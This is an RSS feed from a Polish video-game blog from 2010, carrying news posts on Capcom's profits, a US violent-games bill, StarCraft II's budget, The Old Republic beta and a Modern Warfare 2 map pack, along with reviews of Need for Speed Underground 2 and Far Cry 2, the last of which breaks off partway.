<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Great game - to była wspaniała gra</title>
	<atom:link href="http://www.great-game.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.great-game.net</link>
	<description>Chwile spędzone podczas grania, o których warto pamiętać.</description>
	<lastBuildDate>Thu, 29 Jul 2010 18:02:35 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Wielki spadek zysków Capcom</title>
		<link>http://www.great-game.net/na-biezaco/wielki-spadek-zyskow-capcom/</link>
		<comments>http://www.great-game.net/na-biezaco/wielki-spadek-zyskow-capcom/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 18:00:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Na bieżąco]]></category>
		<category><![CDATA[Capcom]]></category>

		<guid isPermaLink="false">http://www.great-game.net/?p=153</guid>
		<description><![CDATA[Firma znana z takich produkcji jak Street Fighter IV czy Lost Planet 2 w ostatnim kwartale zanotowała, aż 90% spadek w zyskach w porównaniu do tego samego okresu w roku 2009! Co jest tego powodem?

A jest ich kilka, choć jako główny podaje się słabą sprzedaż Lost Planet 2, w której Capcom pokładał spore nadzieje. Do [...]]]></description>
			<content:encoded><![CDATA[<p>Firma znana z takich produkcji jak Street Fighter IV czy Lost Planet 2 w ostatnim kwartale zanotowała, <strong>aż 90%</strong> spadek w zyskach w porównaniu do tego samego okresu w roku 2009! Co jest tego powodem?<span id="more-153"></span></p>
<p style="text-align: center;"><a href="http://www.great-game.net/wp-content/uploads/2010/07/capcom.jpg"><img class="aligncenter size-full wp-image-154" style="border: 1px solid black;" title="Capcom" src="http://www.great-game.net/wp-content/uploads/2010/07/capcom.jpg" alt="" width="460" height="160" /></a></p>
<p>A jest ich kilka, choć jako główny podaje się słabą sprzedaż Lost Planet 2, w której Capcom pokładał spore nadzieje. Do tego dochodzi mocny kurs Jena względem dolara oraz ogólny ekonomiczny przestój na świecie.</p>
<p>Złą sytuację przedsiębiorstwa nie poprawiła sprzedaż takich tytułów jak Monster Hunter Tri na konsolę Nintendo Wii i Ghost Trick dedykowany handheldowi tej samej firmy. W przyszłości stabilny wzrost ma zapewnić Super Street Fighter IV i Monster Hunter Online.</p>
<p>Nieco pieniędzy Capcom zyska, dzięki oddziałowi swojej firmy zajmującemu się grami na telefony komórkowe. Zanotował on ostatnio zysk wynoszący 7.8 milliona dolarów. Dodatkowe 1.1 miliona ma otrzymać wkrótce.</p>
<p>Wcześniej Japończycy zapowiadali, że profit ich firmy na pierwsze pół roku równy będzie 91 miliona zielonych w tej chwili ze spekulacji wynika, że suma ta najprawdopodobniej zmniejszy się do zaledwie 33 milionów $.</p>
<p>Mam nadzieję, że Capcom wykaraska się ze swoich finansowych problemów i już niedługo zachwyci nas świetnymi produkcjami.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.great-game.net/na-biezaco/wielki-spadek-zyskow-capcom/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Leland Yee mówi stanowcze &#8220;NIE&#8221; brutalnym grom!</title>
		<link>http://www.great-game.net/na-biezaco/leland-yee-mowi-stanowcze-nie-brutalnym-grom/</link>
		<comments>http://www.great-game.net/na-biezaco/leland-yee-mowi-stanowcze-nie-brutalnym-grom/#comments</comments>
		<pubDate>Thu, 22 Jul 2010 18:23:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Na bieżąco]]></category>
		<category><![CDATA[ESRB]]></category>
		<category><![CDATA[Leland Yee]]></category>

		<guid isPermaLink="false">http://www.great-game.net/?p=149</guid>
		<description><![CDATA[Przez tak wielu uznawane za najbardziej liberalny kraj Stany Zjednoczone Ameryki niechybnie zbliżają się w kierunku socjalizmu. Co to ma wspólnego z grami? A to, że 11 stanów, z których złożone jest to państwo chce wprowadzić zakaz sprzedaży „brutalnych” gier osobom poniżej osiemnastego roku życia.

Autorem tego genialnego przepisu jest senator Kalifornii Leland Yee. Sam pomysł [...]]]></description>
			<content:encoded><![CDATA[<p>Przez tak wielu uznawane za najbardziej liberalny kraj Stany Zjednoczone Ameryki niechybnie zbliżają się w kierunku socjalizmu. Co to ma wspólnego z grami? A to, że <strong>11 stanów</strong>, z których złożone jest to państwo chce wprowadzić zakaz sprzedaży „brutalnych” gier osobom poniżej osiemnastego roku życia.<span id="more-149"></span></p>
<p style="text-align: center;"><a href="http://www.great-game.net/wp-content/uploads/2010/07/yee.jpg"><img class="aligncenter size-full wp-image-150" style="border: 1px solid black;" title=" Leland Yee" src="http://www.great-game.net/wp-content/uploads/2010/07/yee.jpg" alt="" width="460" height="160" /></a></p>
<p>Autorem tego genialnego przepisu jest senator Kalifornii <strong>Leland Yee</strong>. Sam pomysł narodził się już w 2005 roku, jednak dopiero teraz wszystko ma zostać sfinalizowane. W ten oto piękno sposób w <em>Connecticut, Floridzie, Hawajach, Illinois, Louisianie, Maryland, Michigan, Minnesocie, Mississippi, Texasie oraz Virginii</em> już niedługo kupić gry uznane przez władze za brutalne będzie można dopiero po ukończeniu osiemnastego roku życia. Należy w tym miejscu wyjaśnić, że w Illinois, Louisianie i Michigan już od jakiegoś czasu istnieje prawo ograniczające dostęp młodzieży do tego typu produkcji.</p>
<p>Yee uważa, że wprowadzenie takich restrykcji wyjdzie oczywiście wszystkim na dobre, a w szczególności osobom, którym zakaże się styczności z tytułami dla nich „nieodpowiednimi”, gdyż jak mówi pomysłodawca z badań 100 naukowców wynika, iż gry „brutalne” mają zły wpływ na psychikę dzieci nimi się delektującymi w późniejszym okresie ich życia.</p>
<p>Poza tym przepisy przewidują wprowadzenie nowych oznaczeń. Na opakowaniach gier nie zobaczymy już sławnych oznaczeń ESRB. Zamiast tego w ich miejscu znajdzie się wielka czarna nalepka z białym napisem „18”.</p>
<p>Co to właściwie oznacza „<strong>brutalna</strong>” gra? Czy naprawdę ludzie u władzy powinny decydować o tym co wolno dzieciom a nie ich rodzicie, jeśli nie szkodzą przy tym reszcie? Czy u nas, również potrzebne są podobne uregulowania prawne?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.great-game.net/na-biezaco/leland-yee-mowi-stanowcze-nie-brutalnym-grom/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Produkcja StarCraft II wyniosła 100 milionów dolarów</title>
		<link>http://www.great-game.net/na-biezaco/produkcja-starcraft-ii-wyniosla-100-milionow-dolarow/</link>
		<comments>http://www.great-game.net/na-biezaco/produkcja-starcraft-ii-wyniosla-100-milionow-dolarow/#comments</comments>
		<pubDate>Mon, 19 Jul 2010 16:58:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Na bieżąco]]></category>
		<category><![CDATA[Blizzard]]></category>
		<category><![CDATA[Mike Morhaime]]></category>
		<category><![CDATA[RTS]]></category>

		<guid isPermaLink="false">http://www.great-game.net/?p=145</guid>
		<description><![CDATA[Do premiery StarCraft II pozostało coraz mniej czasu. W związku z tym pojawia się z każdym dniem więcej informacji o tym tytule. Aktualnie najświeższą wiadomością na temat gry jest przekroczenie kwoty 100 milionów dolarów wydanych na jej produkcję gry. Takie dane podaje gazeta Wall Street Journal. Należy dodać, że są to pieniądze wydane jedynie na [...]]]></description>
			<content:encoded><![CDATA[<p>Do premiery StarCraft II pozostało coraz mniej czasu. W związku z tym pojawia się z każdym dniem więcej informacji o tym tytule. Aktualnie najświeższą wiadomością na temat gry jest przekroczenie kwoty 100 milionów dolarów wydanych na jej produkcję gry. Takie dane podaje gazeta Wall Street Journal. Należy dodać, że są to pieniądze wydane jedynie na stworzenie StarCraft II. Nie wliczoną w to kosztów związanych z działaniami marketingowymi. Dla porównania podam, że produkcja Gran Turismo 5 wyniosła 60 milionów zielonych.<span id="more-145"></span></p>
<p style="text-align: center;"><a href="http://www.great-game.net/wp-content/uploads/2010/07/starcraft-koszt.jpg"><img class="aligncenter size-full wp-image-146" style="border: 1px solid black;" title="StarCraft II" src="http://www.great-game.net/wp-content/uploads/2010/07/starcraft-koszt.jpg" alt="" width="460" height="160" /></a></p>
<p>Zarząd Blizzardu uważa, iż suma ta bez problemu zwróci się mimo, tego że <strong>StarCraft II: Wings of Liberty</strong> wydany będzie tak jak już wcześniej zapowiadali jedynie na PC. Stać się ma tak po części za sprawą ogromnej bazy graczy jaką posiada firma, która uzyskana został w dużej mierze, dzięki World of Warcraft. Mike Morhaime chce sprawić by osoby do tej pory podróżujące po świecie Warcraftu w przerwach między tą czynnością a spaniem stanęły po stronie Terran, Zergów bądź Protossów. W pewnym stopniu udało się to już jemu, gdyż spora grupa fanów WoW’a przyłączyła się do beta-testów StarCraft II. Istnieje, więc szansa, że zakupią oni pełną wersję gry po jej premierze.</p>
<p>Sama produkcja ujrzeć ma światło dzienne 27 lipca bieżącego roku, więc już niedługo będziemy mieli wstępne wyniki sprzedaży nowego dzieła firmy słynącej z doskonałości swych produktów. Dowiemy się czy tak ogromne koszty poniesione przez stworzenie tytuły zwrócą się.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.great-game.net/na-biezaco/produkcja-starcraft-ii-wyniosla-100-milionow-dolarow/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Beta-Testy Star Wars: The Old Republic nie dla Ciebie!</title>
		<link>http://www.great-game.net/na-biezaco/beta-testy-star-wars-the-old-republic-nie-dla-ciebie/</link>
		<comments>http://www.great-game.net/na-biezaco/beta-testy-star-wars-the-old-republic-nie-dla-ciebie/#comments</comments>
		<pubDate>Sun, 11 Jul 2010 15:32:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Na bieżąco]]></category>
		<category><![CDATA[BioWare]]></category>
		<category><![CDATA[MMORPG]]></category>
		<category><![CDATA[Star Wars]]></category>

		<guid isPermaLink="false">http://www.great-game.net/?p=141</guid>
		<description><![CDATA[Premiera najnowszej gry firmy BioWare, której akcja umieszczona jest w uniwersum Star Wars zbliża się coraz szybciej. Aktualnym etapem prac jest testowanie produkcji. W tym celu Kanadyjczycy otworzyli serwery, do których dostęp otrzymała grupa łowców błędów z Ameryki Północnej.

Same testy zostały podzielone na etapy. Jak informują twórcy Star Wars: The Old Republic na oficjalnej stronie [...]]]></description>
			<content:encoded><![CDATA[<p>Premiera najnowszej gry firmy BioWare, której akcja umieszczona jest w uniwersum Star Wars zbliża się coraz szybciej. Aktualnym etapem prac jest testowanie produkcji. W tym celu Kanadyjczycy otworzyli serwery, do których dostęp otrzymała grupa łowców błędów z Ameryki Północnej.<span id="more-141"></span></p>
<p style="text-align: center;"><a href="http://www.great-game.net/wp-content/uploads/2010/07/beta-sw-tor.jpg"><img class="aligncenter size-full wp-image-142" style="border: 1px solid black;" title="Star Wars: The Old Republic" src="http://www.great-game.net/wp-content/uploads/2010/07/beta-sw-tor.jpg" alt="" width="460" height="160" /></a></p>
<p>Same testy zostały podzielone na etapy. Jak informują twórcy Star Wars: The Old Republic na oficjalnej stronie internetowej tytułu, każdy chętny ma jeszcze szansę dołączyć do ekipy testerów. Jedyne wymogi jakie musi spełnić to bycie mieszkańcem Ameryki Północnej  i ukończenie 18 roku życia. Jeśli nie stanowią one dla Ciebie problemu to myślę, że warto byś uczestniczył w beta-testach gry.</p>
<p>Warto przypomnieć, że <strong>Star Wars: The Old Republic</strong> to na dzień dzisiejszy oczko w głowie BioWare, z którego jak na razie są bardzo dumni. Twierdzą, że będzie to z pewnością jedno z najlepszych RPG jakie kiedykolwiek stworzyli.</p>
<p>Dla przypomnienia podam, że czas w jakim ma się rozgrywać akcja SW: TOR to 3600 lat przed wydarzeniami znanymi nam filmu będącego dziełem LucasArts.</p>
<p>Na premierę gry według aktualnych informacji przyjdzie nam poczekać jeszcze do wiosny przyszłego roku. Tym bardziej jest szkoda, że w betę mogą grać tylko amerykańscy gracze.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.great-game.net/na-biezaco/beta-testy-star-wars-the-old-republic-nie-dla-ciebie/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Need for Speed Underground 2</title>
		<link>http://www.great-game.net/zrecenzowane/need-for-speed-underground-2/</link>
		<comments>http://www.great-game.net/zrecenzowane/need-for-speed-underground-2/#comments</comments>
		<pubDate>Wed, 07 Apr 2010 21:18:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Zrecenzowane]]></category>
		<category><![CDATA[EA]]></category>
		<category><![CDATA[NFS]]></category>
		<category><![CDATA[wyścigówki]]></category>

		<guid isPermaLink="false">http://www.great-game.net/?p=137</guid>
		<description><![CDATA[Need for Speed Underground 2 jest ósma odsłoną serii wyścigów EA Games, która podobnie jak poprzedniczka wniosła sporo nowości do serii.
Fabuła ma się następująco: nasz bohater, gwiazda ulicznych wyścigów, w wyniku intrygi rozbija swojego Skyline’a  i zostaje poważnie ranny. Po długiej rehabilitacji z pomocą Samanthy („przewodniczka” z pierwszego Undergrounda) decyduje się on wylecieć do [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Need for Speed Underground 2</strong> jest ósma odsłoną serii wyścigów EA Games, która podobnie jak poprzedniczka wniosła sporo nowości do serii.<span id="more-137"></span></p>
<p>Fabuła ma się następująco: nasz bohater, gwiazda ulicznych wyścigów, w wyniku intrygi rozbija swojego Skyline’a  i zostaje poważnie ranny. Po długiej rehabilitacji z pomocą Samanthy („przewodniczka” z pierwszego Undergrounda) decyduje się on wylecieć do Bayview, gdzie mieszka przyjaciółka Samanthy, Rachel, która zgadza się podstawić swój wóz na lotnisko. Bohater chce ponownie wrócić do sławy i przy okazji odkryć, kto był zamieszany w sprawę jego wypadku. Po dotarciu na miejsce chwytamy za Nissana 350Z i ruszamy do salonu, gdzie czeka na nas Rachel…</p>
<p style="text-align: center;"><a href="http://www.great-game.net/wp-content/uploads/2010/04/need-for-speed-underground-2.jpg"><img class="aligncenter size-full wp-image-138" style="border: 1px solid black;" title="Need for Speed Underground 2" src="http://www.great-game.net/wp-content/uploads/2010/04/need-for-speed-underground-2.jpg" alt="" width="460" height="300" /></a></p>
<p>Gra po raz pierwszy w historii serii pozwala nam na swobodną jazdę po mieście. Przemierzamy piękne miasto Bayview, podziwiając rozświetlone neonami dzielnice i stopniowo dostając się na górskie serpentyny czy do dzielnicy przemysłowej. Stopniowo – gdyż programiści postanowili oddawać nam do jazdy kolejne dzielnice po osiągnięciu danego celu. Nie przeszkadza to jednak.</p>
<p>Po mieście rozsiane są różnorodne warsztaty tuningowe, a każdy jest odpowiedzialny za co innego – jeden za zderzaki, maski i spojlery, drugi za części do tuningu silnika, inny znowu za neony, systemy audio i inne drobiazgi, a jeszcze kolejny wyłącznie za malowanie i naklejki. Ciekawe rozwiązanie, ale żeby założyć zderzak, jedziemy do jednego warsztatu, a za chwilę drałujemy przez pół dzielnicy do drugiego po nowe neony.</p>
<p>Na tuning został położony o wiele większy nacisk niż poprzednio. Teraz możemy zmienić jeszcze więcej – oprócz zderzaków i spojlerów możemy założyć nowe lusterka (!), możemy zmienić układ naszego bagażnika, zamontować wypasiony system audio, maskę otwierającą się rozdzielnie czy nawet zmienić sposób otwierania drzwi! A wszystko po to, by zwiększyć ocenę wizualną auta, co z kolei przekłada się na większa ilość okładek magazynów i DVD na które trafiamy, uprzednio odpowiednio ustawiając wóz i otwierając drzwi czy machę. Tuning mechaniczny też został poprawiony, powiem teraz możemy wjechać na platformę dynamometryczną i szczegółowo dostroić turbo, poprawić aerodynamikę, zmienić przełożenia biegów, przerobić zawieszenie czy ustawić moc nitro, a następnie przetestować nasze przeróbki, co w efekcie pozwala nam zrobić wóz idealny do danej konkurencji.</p>
<p>Co do samochodów, rozwiązano to ciekawie. Mamy około 40 wozów do wyboru – Peugeoty, Mazdy, Mitsubishi, Nissany i wiele innych – ale w garażu możemy mieć ich maksimum 5. Każdy nowy slot otwierany jest, gdy podpisujemy kontrakt ze sponsorem – za który zresztą dostajemy niezły szmal. Aby do wypełnić, musimy wygrać określoną liczbę wyścigów i osiągnąć odpowiednią ocenę wizualną. Potem zgłasza się do nas kolejny sponsor.</p>
<p>Nowością w grze są SUVy, takie jak Hummer H2 czy Lincoln Navigator. Dla tych aut są specjalnie oznaczone wyścigi, ale widzimy je tylko wtedy, gdy jeździmy SUVem.</p>
<p>A co do wyścigów – rozrosły się one nieco. Nadal ścigamy się w circuitach, czyli wyścigach po wyznaczonym torze, sprintach, czyli jeździe od punktu A do B, dragach, czyli gonitwie z gazem w podłodze po linii prostej (ręczna skrzynia biegów) i driftach, czyli konkursach poślizgów. Nowe są za to street X, czyli wyścigi w stylu circuitów… ale na torach do driftu, gdzie ułamki sekunda decydują o zwycięstwie, oraz URL – Underground Racing League, gdzie pniemy się na szczyt jeżdżąc po torze wyścigowym Bayview lub lotnisku, a wygrane odblokowują nowe wozy.</p>
<p>Nowy jest też outrun, czyli wyścig bezpośredni. Na mieście możemy natknąć się na stonowane wozy. Jedziemy chwilę za nimi i uderzamy w Enter, by zacząć się ścigać. Wyprzedzamy przeciwnika i oddalamy się na 300 metrów, by wygrać. Te wyścigi dają nam czasem możliwość zdobycia unikalnych części wizualnych oraz mechanicznych, dzięki czemu nasz wóz jest jeszcze ładniejszy i jeszcze szybszy.</p>
<p>Grafikę poprawiono w stosunku do poprzednika – auta są jeszcze ładniejsze i bardziej szczegółowe, a miasto wygląda jeszcze piękniej. Razi jednak to, że nadal cywilne auta to zwykłe bryły z byle jakimi teksturami.</p>
<p>Dźwięk jest nadal ostry i dynamiczny. Grają tu takie zespoły jak <strong>Fluke</strong>, <strong>Spiderbait</strong>, <strong>Unwritten Law</strong> czy <strong>Capone</strong>. Teraz żadna ścieżka nie denerwuje, jak miało to miejsce w <em>NFS U</em>, a tylko motywuje do jazdy z gazem do dechy.</p>
<p>Ogółem Need for Speed Underground 2 jest grą, której żaden miłośnik wyścigów nie może przegapić.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.great-game.net/zrecenzowane/need-for-speed-underground-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nowe mapy do Modern Warfare 2. Tylko za 15$</title>
		<link>http://www.great-game.net/na-biezaco/nowe-mapy-do-modern-warfare-2-tylko-za-15/</link>
		<comments>http://www.great-game.net/na-biezaco/nowe-mapy-do-modern-warfare-2-tylko-za-15/#comments</comments>
		<pubDate>Tue, 16 Mar 2010 21:43:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Na bieżąco]]></category>
		<category><![CDATA[CoD]]></category>
		<category><![CDATA[dodatek]]></category>
		<category><![CDATA[komputerowe]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Playstation 3]]></category>
		<category><![CDATA[Xbox 360]]></category>

		<guid isPermaLink="false">http://www.great-game.net/?p=134</guid>
		<description><![CDATA[Już niedługo będziesz mógł zakupić paczkę pięciu map do niedawno powstałego Modern Warfare 2. Trzy z nich są całkowicie nowe a reszta to „rimejki” tych znanych z Call of Duty 4. To wszystko za zaledwie 15 dolarów amerykańskich bądź 1200 punktów Microsoft, gdyż dodatek na początku dedykowany będzie konsoli Xbox 360 a dopiero potem powstanie [...]]]></description>
			<content:encoded><![CDATA[<p>Już niedługo będziesz mógł zakupić paczkę pięciu map do niedawno powstałego Modern Warfare 2. Trzy z nich są całkowicie nowe a reszta to „rimejki” tych znanych z Call of Duty 4. To wszystko za zaledwie 15 dolarów amerykańskich bądź 1200 punktów Microsoft, gdyż dodatek na początku dedykowany będzie konsoli Xbox 360 a dopiero potem powstanie wersja na PC i Playstation 3. Czyż to nie prawdziwa okazja?<span id="more-134"></span></p>
<p>Niespecjalnie zważywszy na fakt, że poza mapami za 3 dolary sztuka nie dostajemy nic więcej. Poza tym jak już wspomniałem wcześnie dwie z map znane są graczom <a href="http://www.cdaction.pl/tag-1713/call-of-duty-4-modern-warfare.html">CoD 4</a> i prawdopodobnie tylko fanatyków tej gry przyciągną do zakupu packa. Dla nich, krótko napisze o tym jak charakteryzują je ich twórcy:</p>
<ul>
<li>Pierwsza mapa nazwana została &#8220;<strong>Bailout</strong>&#8220;. Przenosi ona gracza do wielkiego apartamentowca.</li>
<li>Druga to Storm. Walczyć na niej będziesz w fabryce pełnej ciężkich maszyn.</li>
<li>Następna zatytułowana została &#8220;<strong>Junkyard</strong>&#8220;. Jest to zaśnieżone złomowisko pełne rozbitych samochodów i stosów innego złomu.</li>
<li>Dwie pozostałe, która pamiętają osoby grające w pierwszą część Modern Warfare to &#8220;<strong>Crash</strong>&#8221; (rozgrywka na niej ma miejsce w zurbanizowanym otoczeniu) i &#8220;<strong>Overgrown</strong>&#8221; (w jej przypadku przyjdzie Ci walczyć na zniszczonym opustoszałym terenie z niewielkimi zabudowaniami).</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.great-game.net/na-biezaco/nowe-mapy-do-modern-warfare-2-tylko-za-15/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Far Cry 2</title>
		<link>http://www.great-game.net/zrecenzowane/far-cry-2/</link>
		<comments>http://www.great-game.net/zrecenzowane/far-cry-2/#comments</comments>
		<pubDate>Sat, 02 Jan 2010 00:52:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Zrecenzowane]]></category>
		<category><![CDATA[akcja]]></category>
		<category><![CDATA[fps]]></category>
		<category><![CDATA[Ubisoft]]></category>

		<guid isPermaLink="false">http://www.great-game.net/?p=127</guid>
		<description><![CDATA[Gra która szturmem podbiła listy sprzedaży, zdobyła fanów na całym świecie doczekała się  kontynuacji? Chodzi oczywiście o Far Cry. Czy dwójka okaże się  takim sukcesem co jedynka? Czy przeniesienie z tropikalnej wyspy na pustynną sawannę to dobry pomysł? Przekonajmy się!
Czego by o hicie z logiem Crytek Studios nie mówić, trzeba pamiętać, otwarte przestrzeń [...]]]></description>
			<content:encoded><![CDATA[<p>Gra która szturmem podbiła listy sprzedaży, zdobyła fanów na całym świecie doczekała się  kontynuacji? Chodzi oczywiście o Far Cry. Czy dwójka okaże się  takim sukcesem co jedynka? Czy przeniesienie z tropikalnej wyspy na pustynną sawannę to dobry pomysł? Przekonajmy się!<span id="more-127"></span></p>
<p>Czego by o hicie z logiem <em>Crytek Studios</em> nie mówić, trzeba pamiętać, otwarte przestrzeń oferowana graczom była przeogromna. Gracze doskonale pamiętają te momenty, w których Jack Carver, spoglądając niemal &#8220;za horyzont&#8221;, dostrzegał niewielką wysepkę. Jak wielką satysfakcję mieliśmy, odwiedzając ten zakątek po godzinie gry, nie trzeba chyba wyjaśniać. Far Cry powalał swoim ogromem i jakością wykonania. Tym trudniejsze okazało się zadanie, jakie wyznaczyli sobie programiści z Ubisoftu, którzy przejęli prawo do realizacji drugiej części. Istotnie &#8211; projekt z napisem <strong>Far Cry 2</strong> to dzieło udane, a do tego wielkie i momentami powalające, tyle że&#8230; to nie jest Far Cry. Ale po kolei.</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-128" style="border: 1px solid black;" title="Far Cry 2" src="http://www.great-game.net/wp-content/uploads/2010/01/farcry2.jpg" alt="Far Cry 2" width="460" height="300" /></p>
<p>Jeśli zdanie z poprzedniego akapitu o tym, że nowa gra nie zasługuje na nazwę Far Cry zakotłowało wami, spieszę z wyjaśnieniami. To był komplement! Po prostu autorzy wprowadzili w grze tyle zmian, że nie przypomina ona już swojego prostego poprzednika. Przy całym szacunku dla technologii dzieło autorstwa Crytek Studios było prostą strzelaniną. Oto natomiast krótki katalog nowości, który postaramy się w dalszej części rozwinąć. Nie ma już Jacka Carvera, bohatera pierwowzoru, działamy nie na tropikalnym wyspie, gdzie wszystko skąpane jest zielono-błękitno-złotą poświatą, ale w ciężkich momentami i przygnębiających kolorystycznie zakątkach fikcyjnego Czarnego Lądu. Do tego &#8211; brak w FC 2 liniowości i jedynej słuszniej drogi, którą trzeba podążać jak po sznurku. Historia jest oczywiście opowiadana, ale robić można o wiele więcej, niż ona przewiduje.</p>
<p>Pierwszą zmianę względem poprzednika można dostrzec już podczas przygotowań do rozpoczęcia rozgrywki. Musimy wówczas dokonać wyboru naszej postaci spośród dziewięciu dostępnych najemników. Każdy z nich ma swoją krótką historię. Następnie ruszamy do akcji, co w tym przypadku oznacza, że przez kilkanaście minut jedziemy autobusem po afrykańskich bezdrożach, słuchając opowieści kierowcy. Następnie pojawia się zły, który mierzy do nas z pistoletu i zostawia nas na wpół żywych w niezbyt przyjaznym miejscu. Od tej chwili wiadomo, że zły, a więc Szakal, to handlarz broni i narkotyków, na którego przez całą grę będziemy polować.</p>
<p>W FC 2 istnieją dwie zwalczające się frakcje. Trochę to wprawdzie dziwne, że wszędzie próbują sobie dopiec, a w miastach w centrum mapy, w zdemilitaryzowanej strefie żyją sobie bez przeszkód, ale cóż &#8211; uproszczeń nigdy się nie uniknie. Ważne jest to, że w miastach otrzymać możemy misje od jednej bądź drugiej frakcji. Historia związana z Szakalem przewija się w tle niezależnie od tego, co robimy. Przez długi czas nawet nie usłyszymy o jego obecności.</p>
<p>A zatem główny wątek biegnie niejako obok dwutorowej możliwości, jaką daje nam wykonywanie zadań dla frakcji. Ale to wcale nie wszystko, co można w FC 2 czynić. Zbierać można jeszcze diamenty, bo na mapie jest rozrzuconych ponad 200 walizek, w których je schowano. Służą one do zakupu broni i ulepszania sprzętu. Z bronią wiąże się również możliwość wykonywania dodatkowych misji. Zlecają je nam handlarze, którzy zazwyczaj chcą wykończyć konkurentów. Ba! I to jednak nie koniec. Ostatni typ misji wykonywać musimy niejako z konieczności. Otóż nasz bohater zapadł w Afryce na malarię. Z tej przyczyny ma przy sobie fiolkę z prochami, które co mniej więcej 30 minut trzeba brać. Gdybyśmy tego nie uczynili, ekran zielenieje, a po chwili czeka nas niezbyt przyjemny zgon. Otóż środki farmakologiczne mają to do siebie, że się kończą. Wówczas należy udać się do pobliskiego kościoła, którego wikary zleci nam misję (głównie dostarczenie dokumentów we wskazane miejsce). W zamian otrzymamy cenny lek.</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-129" style="border: 1px solid black;" title="Far Cry 2" src="http://www.great-game.net/wp-content/uploads/2010/01/farcry22.jpg" alt="Far Cry 2" width="460" height="300" /></p>
<p>Jak widać, mechanikę gry znacznie poszerzono i urozmaicono. Teren działań jest naprawdę spory, dlatego do przemieszczania się potrzebne będą dwie rzeczy: środek lokomocji oraz mapa. Ten pierwszy znajduje się pod ręką niemal zawsze tam, gdzie go potrzebujemy. Wskoczyć możemy do auta osobowego, ciężarówki, jeepa lub Land Rovera. Ten ostatni wyposażony jest w karabin maszynowy. W dowolnym momencie możemy przełączyć się między stanowiskiem kierowcy a strzelca. Zabrakło niestety motocykli, a szkoda. Zamiast nich możemy skorzystać z autobusu, a w zasadzie przystanków, które łączą kilka punktów obszaru. Podróż odbywa się jedynie przez symboliczny warkot silnika i już po chwili jesteśmy na miejscu. Kolejnym środkiem lokomocji są łodzie. Te mają różne rozmiary i również są wyposażone w KM-y. Rzecz jasna, wszędzie możemy próbować dotrzeć na piechotę (niekiedy jesteśmy do tego zmuszeni), co jednak bywa męczące na dłuższych dystansach. Ciekawostką i świetnym smaczkiem w grze jest to, że pojazdy (łodzie i samochody) psują się. Stają wówczas w kłębach dymu, które powiększają się, które kończą się wybuchem. Jeśli nie chcemy stracić wozu i życia, musimy trochę pokręcić korbą, by podregulować obroty silnika.</p>
<p>Wśród nowinek wykonanych na zdumiewająco realistycznym poziomie warto jeszcze wspomnieć o zmieniającym się czasie. W grze minuty płyną szybciej niż w rzeczywistości, ale dzięki temu co i rusz zauważamy zmiany otaczającej nas przyrody. Te same miejsca inaczej wyglądają w pełnym blasku oślepiającego słońca, a inaczej w świetle reflektorów samochodowych w nocy i o zmierzchu. Niesamowicie prezentują się wschody i zachody słońca. Upływ czasu możemy w pewnym stopniu kontrolować. Wystarczy udać się do jednego ze specjalnych bezpiecznych domów na drzemkę. Samemu ustalimy wówczas moment pobudki.</p>
<p>FC 2 ma niestety trochę wad. Nie są to jakieś typowe bugi, które uniemożliwiają zabawę, ale raczej pewne uproszczenia. Po pierwsze, jak na TAKĄ produkcję, otoczenie poddaje się zdecydowanie za małej demolce. Czasami napotkamy przedmioty, które na zdrowy rozum powinny się rozwalić po serii z AK-47, a tu, nic! Pamiętacie demolkę w Crysisie, gdzie wali się na głowę dosłownie wszystko? Tu niestety tak nie jest.</p>
<p>Kolejna sprawa to odradzający się przeciwnicy. Cóż &#8211; jedni gracze po prostu tego nie lubią, więc uznają to za wadę, innym nie będzie to przeszkadzało. Fakt jednak pozostaje faktem, że gdy wyczyścimy jakiś punkt z wroga, to za 5 minut znów tam będzie. Inna sprawa, że w większości przypadków, jadąc szybkim wozem, można uciec i takie spotkania sobie darować, aby skupić się na wykonywaniu zadań.</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-130" style="border: 1px solid black;" title="Far Cry 2" src="http://www.great-game.net/wp-content/uploads/2010/01/farcry23.jpg" alt="Far Cry 2" width="460" height="300" /></p>
